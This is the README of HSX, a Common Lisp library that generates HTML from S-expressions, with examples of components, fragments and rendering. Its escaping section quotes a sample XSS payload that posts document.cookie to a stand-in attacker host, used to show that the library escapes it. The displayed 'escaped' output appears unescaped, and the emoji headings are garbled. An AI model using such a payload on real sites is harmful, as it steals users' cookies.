# HSX β Hypertext S-expression **HSX** is a lightweight and expressive HTML generation library for Common Lisp, inspired by JSX. It allows you to write HTML using native Lisp syntax via S-expressions. > π§ **ALPHA NOTICE:** > This library is still in early development. APIs may change. > See [release notes](https://github.com/skyizwhite/hsx/releases) for details. ## βοΈ How HSX Works Every tag or component inside an `(hsx ...)` form is transformed into a Lisp expression of the form: ```lisp (create-element type props children) ``` For example: ```lisp (hsx (article :class "container" (h1 "Title") (p "Paragraph") (~share-button :service :x)) ``` Is internally transformed (by macro expansion) into: ```lisp (create-element :article '(:class "container") (list (create-element :h1 nil (list "Title")) (create-element :p nil (list "Paragraph")) (create-element #'~share-button '(:service :x) (list)))) ``` This is made possible via the hsx macro, which detects HTML tags and components, then rewrites them using create-element. Tags are converted to keywords (e.g., div β :div), and custom components (starting with ~) are passed as functions. This uniform representation allows rendering, manipulation, and analysis of the HTML structure in a Lisp-friendly way. ## π Quick Example ```lisp (hsx (div :id "main" :class "container" (h1 "Hello, HSX!") (p "This is a simple paragraph.") (ul (loop for i from 1 to 3 collect (hsx (li (format nil "Item ~a" i))))))) ``` Generates: ```html <div id="main" class="container"> <h1>Hello, HSX!</h1> <p>This is a simple paragraph.</p> <ul> <li>Item 1</li> <li>Item 2</li> <li>Item 3</li> </ul> </div> ``` ## π Rendering Use `render-to-string` to convert an HSX structure to a string of HTML: ```lisp (render-to-string (hsx ...)) ``` ## π Escaping Behavior All elements automatically escape special characters in content to prevent XSS and HTML injection: ```lisp (hsx (div "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>")) ``` Outputs: ```html <div><script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script></div> ``` Use the special tag `raw!` to inject trusted, unescaped HTML: ```lisp (hsx (article (raw! "HTML text here ...")) ``` ## π§© Fragments Use `<>` tag to group multiple sibling elements without wrapping them in a container tag: ```lisp (hsx (<> (p "One") (p "Two"))) ``` Outputs: ```html <p>One</p> <p>Two</p> ``` Note: `raw!` tag is a fragment that disables HTML escaping for its children. ## π§± Components Define reusable components using `defcomp` macro. Component names must start with `~`. *Keyword-style* ```lisp (defcomp ~card (&key title children) (hsx (div :class "card" (h2 title) children))) ``` *Property-list style* ```lisp (defcomp ~card (&rest props) (hsx (div :class "card" (h2 (getf props :title)) (getf props :children)))) ``` ### Usage ```lisp (hsx (~card :title "Hello" (p "This is a card."))) ``` Outputs: ```html <div class="card"> <h2>Hello</h2> <p>This is a card.</p> </div> ``` ## 𧬠Logic and Interpolation You can freely embed Lisp expressions, conditionals, and loops inside HSX forms: ```lisp (hsx (div (if (> (random 10) 5) (hsx (p "High!")) (hsx (p "Low!"))))) ``` Or loop: ```lisp (hsx (ul (loop :for item :in todo-list :collect (hsx (li item)))))) ``` ## π·οΈ Built-in Tags All standard HTML5 tags (and a few extras like `<>`, `raw!`) are automatically defined and exported from the hsx package. You donβt need to declare them manually. ## π License MIT License β’ Β© 2024 Akira Tempaku β’ Β© 2018 Bo Yao (original [flute](https://github.com/ailisp/flute) project)